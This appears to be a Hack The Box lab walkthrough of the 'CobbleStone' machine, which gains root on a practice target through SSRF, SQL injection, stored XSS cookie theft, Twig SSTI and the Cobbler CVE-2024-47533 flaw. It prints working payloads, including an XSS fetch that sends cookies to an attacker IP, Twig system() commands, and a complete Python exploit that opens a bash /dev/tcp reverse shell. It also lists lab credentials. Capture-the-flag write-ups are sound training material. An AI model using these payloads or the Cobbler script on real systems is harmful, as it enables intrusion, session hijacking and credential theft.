HackTheBox: CobbleStone Machine Walkthrough – Insane Difficulty
Insane Machine BurpSuite, Challenges, Cobbler’s XML-RPC, CVE-2024-47533, gobuster, HackTheBox, hashcat, Linux, MySQL, mysql database, Penetration Testing, port forwarding, python3, SQL Injection, ssh, ssrf, Stored XSS, Twig SSTIIntroduction to Cobblestone:
In this write-up, we will explore the “CobbleStone” machine from Hack The Box, categorised as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective on CobbleStone Machine:
The goal of this walkthrough is to complete the “CobbleStone” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial access begins with the skin suggestion feature, where SSRF enables server-side requests to attacker-controlled URLs. Further enumeration reveals the vote subdomain and a SQL injection vulnerability. Stored XSS then allows access to the administrator’s session, exposing the admin interface and PHP information page. The leaked session cookie provides admin access, which leads to Twig SSTI and remote code execution as www-data. Database credentials recovered through SSTI allow a full database dump and offline cracking of the cobble account password. SSH access as cobble provides access to the user flag.
Root Flag
After gaining access as cobble, local enumeration reveals Cobbler’s XML-RPC service on port 25151. An SSH port forward exposes the service for remote interaction. Version 3.3.6 is vulnerable to CVE-2024-47533, enabling unauthenticated XML-RPC access and malicious Cheetah template rendering. A crafted template executes commands with root privileges and provides a reverse shell. The root flag resides in /root/root.txt.
Enumerating the CobbleStone Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oA initial 10.129.232.170Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/cobblestone]
└──╼ $ nmap -sC -sV -oA initial 10.129.232.170
# Nmap 7.94SVN scan initiated Thu Aug 13 13:21:11 2026 as: nmap -sC -sV -oA initial 10.129.232.170
Nmap scan report for 10.129.232.170
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 13 13:21:22 2026 -- 1 IP address (1 host up) scanned in 11.18 secondsAnalysis:
- Port 22 (SSH): OpenSSH 9.2p1 is running, providing a potential method for remote shell access with valid credentials.
- Port 80 (HTTP): Apache 2.4.62 hosts the main web application and redirects requests to
cobblestone.htb.
Web Enumeration on CobbleStone Machine:
Perform web enumeration to discover potentially exploitable directories and files.
The main site at http://cobblestone.htb greets us with a Minecraft-themed “BREEZEMC” landing page, confirming the box is live and giving the first visual clue that the target is related to a Minecraft server.
The Cobblestone homepage presents three primary features against a Minecraft-themed background: “Get your own” (deploy a server), the central “Skin Database” for downloading character skins, and the beta “Vote” section, while also advertising the live server mc.cobblestone.htb.
Directory & Virtual Host Discovery on CobbleStone Machine
Gobuster reveals key paths such as /templates, /css, /img, /db, /skins, /js, and /vendor, along with a forbidden /server-status.
A virtual-host Gobuster sweep finds several common subdomains that redirect to the main site, indicating that most are aliases or remain unconfigured.
Further directory enumeration finds a /vote endpoint that returns a 302 redirect, suggesting an additional voting or approval mechanism.
Filtering for HTTP 200 responses uncovers the only valid virtual host: deploy.cobblestone.htb, which becomes the next target to investigate.
Visiting http://deploy.cobblestone.htb shows a “Still under development” page listing the team and hinting at a future secure Minecraft hosting service.
Account Registration & Authentication
The main site also exposes a clean login form at /login.php, suggesting user registration and authentication are available.
Filling out the registration form with the username “dark” is the first attempt to create an account on the platform.
After registration, the same credentials successfully authenticate through the login form, confirming the new account works.
After logging in, /skins.php displays a table of existing Minecraft skins, including Sword4000, ElDeathly, Dog1234, PaulGG, and NiftySmith, along with previews and download links.
Clicking the download icon for the PaulGG skin opens a save dialogue, allowing the file to be saved locally as paulgg.png for later inspection or reuse.
Opening the downloaded PNG displays the full PaulGG skin preview from /skins/preview_paulgg.png, confirming that the skin files are accessible through direct URLs.
The authenticated /skins.php page displays “Welcome dark” and includes a “Suggest Skin” tab, allowing users to submit new skins for admin review.
A Python HTTP server starts on port 80 (sudo python3 -m http.server 80) to capture outbound requests from skin suggestions pointing to the attacker’s IP.
Skin Suggestion Feature & SSRF on CobbleStone Machine
On the “Suggest Skin” tab, the username and skin name are provided along with a Download URL pointing to an existing target skin for testing.
Submitting the form displays a green success banner confirming that the system added the suggestion and queued it for admin review.
The skin suggestion is resubmitted with the Download URL set to http://10.10.15.132/test. This tests whether the backend performs a server-side request to the supplied URL.
The local Python HTTP server immediately receives a GET request for /test from the target IP (10.129.232.170). This confirms that the skin-suggestion feature performs a server-side fetch of the supplied URL, indicating SSRF.
The HTML source reveals a hard-coded link to http://vote.cobblestone.htb, exposing the voting virtual host.
Vote Subdomain Exploration
Navigating to http://vote.cobblestone.htb presents a login page with a beta disclaimer, indicating a separate authentication system for the voting service.
A new account is registered on the vote subdomain using the credentials dark and darknite@cobblestone.htb, granting access to the voting features.
After logging in, the “Voting table” lists several Minecraft servers with their upvote counts, confirming the core functionality of the vote application.
Clicking any “+ Upvote” button displays a popup stating “Actual upvoting not yet implemented,” indicating that the voting mechanism remains a stub.
Visiting http://vote.cobblestone.htb/details.php?id=4 displays the earlier SSRF test suggestion (http://10.10.15.132/test) with “Approved: false,” confirming that the application stores submitted URLs for later review.
SQL Injection Testing
The vote site’s “Suggest” tab provides a simple form for submitting Minecraft server URLs for approval, presenting another potential injection or SSRF vector.
Refreshing the details page for suggestion #4 now displays a blank view, indicating that the application may have processed the entry or requires additional parameters to display the content.
A boolean-based SQL injection payload is entered into the server URL field on the Suggest tab (" OR (SELECT SUBSTRING((SELECT database()),1,1))='c' --) to test the backend for SQL injection.
A more advanced payload retrieves the first character of a table name from information_schema.tables within the cobblestone schema, triggering another successful 302 redirect.
Following the redirect to /details.php?id=5 returns a normal HTML page without errors, confirming that the application processes the injected input without crashing.
Another boolean payload tests the first character of the current database name, with the server returning another 302 response and confirming consistent acceptance of the injected SQL.
A UNION ALL SELECT payload retrieves grantee and privilege_type from information_schema.user_privileges, extending the SQLi toward privilege-related data extraction.
The resulting suggestion (id=7) loads successfully, indicating that the application parsed the UNION query. However, the extracted data does not appear in the visible HTML.
The “Your server suggestions” table displays multiple entries containing the SQLi payloads, confirming that the application stores and reflects each injected string.
Stored XSS & Session Hijacking
An SVG-based XSS payload (<svg/onload=fetch('http://10.10.15.132/'+document.cookie)>) is submitted in the URL field to test whether the admin’s session cookie can be exfiltrated when the suggestion is reviewed.
A Python HTTP server starts on port 4444 to host the malicious JavaScript payload and capture XSS callbacks.
The “Suggest Skin” form receives the payload <script src=”http://10.10.15.132:4444/dark.js”></script> in every field. Submitting the form triggers the “Suggestion has been added” message.
The listener immediately receives a request for /dark.js, followed by several data exfiltration requests containing the admin panel’s full HTML, including “Welcome admin” and the navigation tabs.
CyberChef decodes the captured URL-encoded blob, revealing the complete source of the admin skins page fetched through the XSS.
Admin Panel Enumeration
Opening the decoded HTML locally displays the admin interface with tabs for Skins, Upload Skin, User Management, and Skin Suggestions. This confirms that the XSS executed in an administrator’s browser.
The leaked User Management section discloses two administrator accounts (admin and cobble) together with their e-mail addresses and roles.
An admin-related endpoint (/skins_app_admin_server_info.php) exposes a full PHP 8.2.29 information page with detailed server configuration data.
Accessing /skins_app_admin_server_info.php as the low-privileged dark account returns the full PHP information page, while correctly identifying the account role as user.
The same PHP info page also displays the current session cookie (PHPSESSID=dtkkkgsedfnl994ch1m4s4dhk3) in the Apache Environment section.
The malicious dark.js script retrieves the admin server information page and forwards its response body to the attacker’s listener.
Launching Wireshark for further traffic analysis fails because the XDG_RUNTIME_DIR environment variable is not set.
The HTTP listener receives the malicious script request (/dark1.js) and subsequent status messages. However, multiple 414 “Request-URI Too Long” errors occur when the exfiltrated admin page exceeds the URI length limit.
Wireshark captures the full conversation between the target (10.129.232.170) and the attacker’s listener. The traffic includes HTTP GET requests for the loading and completion markers, followed by the data transfer.
Selecting “Follow → TCP Stream” isolates the complete data exchange. This allows the large URL-encoded payload to be examined in a single window.
The followed TCP stream reveals a lengthy GET request containing the admin session’s PHP-info page. The URL-encoded query string includes USERNAME: admin and ROLE: admin.
Running two consecutive URL-Decode operations in CyberChef recovers the clean HTML of the admin’s skins_app_admin_server_info.php page, confirming successful session hijacking.
Admin Panel Access
Opening the decoded HTML locally displays the full PHP 8.2.29 information page belonging to the administrator account.
The Apache Environment section of the leaked page exposes the administrator’s session cookie (PHPSESSID=tol1muah9erhka04e1g5j1ruri), which can then be reused for session access.
The stolen PHPSESSID is manually added to the browser’s cookie store for cobblestone.htb, establishing an authenticated admin session.
With the admin cookie in place, the main skins page now greets us with “Welcome admin” and grants access to the full administrative interface.
The User Management tab lists all accounts (admin, cobble, and the low-priv user “dark”), allowing role changes or further privilege escalation from the compromised admin session.
Using the stolen admin cookie, a POST request to /preview_banner.php with first=dark returns “Welcome dark”. This confirms that the parameter is reflected in the response.
Server-Side Template Injection (SSTI)
Sending the classic Twig payload first={{7*7}} returns “Welcome 49”. This confirms that the application evaluates the input as a Twig template, indicating SSTI.
The source code clearly indicates a Twig SSTI vulnerability, so I referred to HackTricks for relevant payloads.
The payload first={{[‘id’]|filter(‘system’)}} executes the id command and returns the output uid=33(www-data) gid=33(www-data), confirming remote code execution as the web server user.
Using {{[‘ls -la’]|filter(‘system’)}} dumps a full directory listing of the web root, revealing interesting files such as db/, login.php, preview_banner.php and the skins folder.
A follow-up command {{[‘ls db’]|filter(‘system’)}} shows that the db folder contains connection.php, the likely source of database credentials.
Executing {{[‘cat db/connection.php’]|filter(‘system’)}} reveals the MySQL connection details: host localhost, user dbuser, password aichooDeeYanaekungei9rogi0eMuo2o and database cobblestone.
Database Credential Dump & Hash Cracking
The same credentials are supplied to mysqldump through the SSTI filter. This produces a complete dump of the cobblestone database, including the users table.
Inside the dump, the password hashes for the admin accounts are visible
The hash for the cobble user is copied into a local hash.txt file for offline cracking.
Hashcat runs in mode 1400 (SHA-256) against the extracted hash with the rockyou wordlist, attempting to recover the cobble account password.
Hashcat successfully cracks the SHA-256 hash, revealing the clear-text password iluvdannymorethanyouknow for the cobble account.
SSH Access as cobble
Using the recovered credentials, we SSHed into the box as cobble@cobblestone.htb and landed in a standard user shell.
The user flag is immediately readable from ~/user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
Running ss -tulnp shows several interesting services listening only on localhost, most notably a Cobbler XML-RPC endpoint on port 25151.
An SSH local port forward (ssh -L 25151:localhost:25151) makes the Cobbler service accessible from the attacker machine.
Local Service Enumeration
Attempting to browse http://127.0.0.1:25151 fails because the service expects XML-RPC rather than normal HTTP requests.
A quick ps aux on the compromised host confirms the shell is running with full root privileges.
The process list confirms that cobblerd runs as root (PID 956), while the reverse-shell processes spawned by the exploit also run with root privileges.
Cobbler XML-RPC Discovery
Querying the Cobbler XML-RPC endpoint with an extended_version call returns version 3.3.6, confirming that the service is vulnerable to the known render-based RCE (CVE-2024-47533).
After identifying Cobbler version 3.3.6, a Google search for the version and “RCE” leads to the official GitHub Advisory (GHSA-m26c-fcgh-cp6h). The advisory documents CVE-2024-47533 as a critical authentication bypass that allows unauthenticated XML-RPC access using the password -1.
CVE-2024-47533 Exploitation
CVE-2024-47533 is a critical remote code execution vulnerability in Cobbler (versions ≤ 3.3.6).
The XML-RPC API allows unauthenticated attackers to upload a malicious Cheetah autoinstall template and trigger its rendering. Since Cobbler evaluates the template with root privileges, the template can execute arbitrary commands as root.
A Netcat listener starts on port 9007 to receive the reverse shell spawned by the Cobbler exploit.
The rev.py script reveals a Cobbler distro/profile configuration that injects a Cheetah template payload to download and execute a reverse shell.
A Python HTTP server starts on port 9001 to host the reverse-shell binary, with the target successfully requesting /shell twice.
Reverse Shell as Root
The action returned no result.
┌─[dark@parrot]─[~/Documents/htb/cobblestone]
└──╼$ cat rev.py
#!/usr/bin/env python3
import xmlrpc.client
# === CHANGE THESE ===
LHOST = "10.10.15.132" # your IP
LPORT = 9007 # your listener port
NAME = "dark"
# ====================
KERNEL = "/boot/vmlinuz-6.1.0-37-amd64"
INITRD = "/boot/initrd.img-6.1.0-37-amd64"
# Cheetah payload that spawns a reverse shell
PAYLOAD = f"""
#set $a = __import__('os').system('bash -c "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"')
"""
srv = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/RPC2", allow_none=True)
tok = srv.login("", -1)
# 1. Create distro
did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "arch", "x86_64", tok)
srv.modify_distro(did, "breed", "redhat", tok)
srv.modify_distro(did, "kernel", KERNEL, tok)
srv.modify_distro(did, "initrd", INITRD, tok)
srv.save_distro(did, tok)
# 2. Create profile
pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)
# 3. Write malicious autoinstall template
srv.write_autoinstall_template("pwn.ks", PAYLOAD, tok)
# 4. Create system that uses the malicious template
sid = srv.new_system(tok)
srv.modify_system(sid, "name", NAME, tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "autoinstall", "pwn.ks", tok)
srv.save_system(sid, tok)
# 5. Force Cobbler to render the template → RCE
srv.generate_system_autoinstall(NAME)
print("[+] Payload triggered – check your listener")This script exploits Cobbler’s XML-RPC interface (CVE-2024-47533) using the default unauthenticated token. Finally, generate_system_autoinstall forces Cobbler to render the template and spawn a root shell.
Re-running the exploit still fails with “template path not found for specified system”, showing that the system/profile mapping is incomplete.
After fixing the script, Cobbler successfully renders the template. The Netcat listener receives a connection and provides a root shell.
From the root shell, the flag is read directly from /root/root.txt.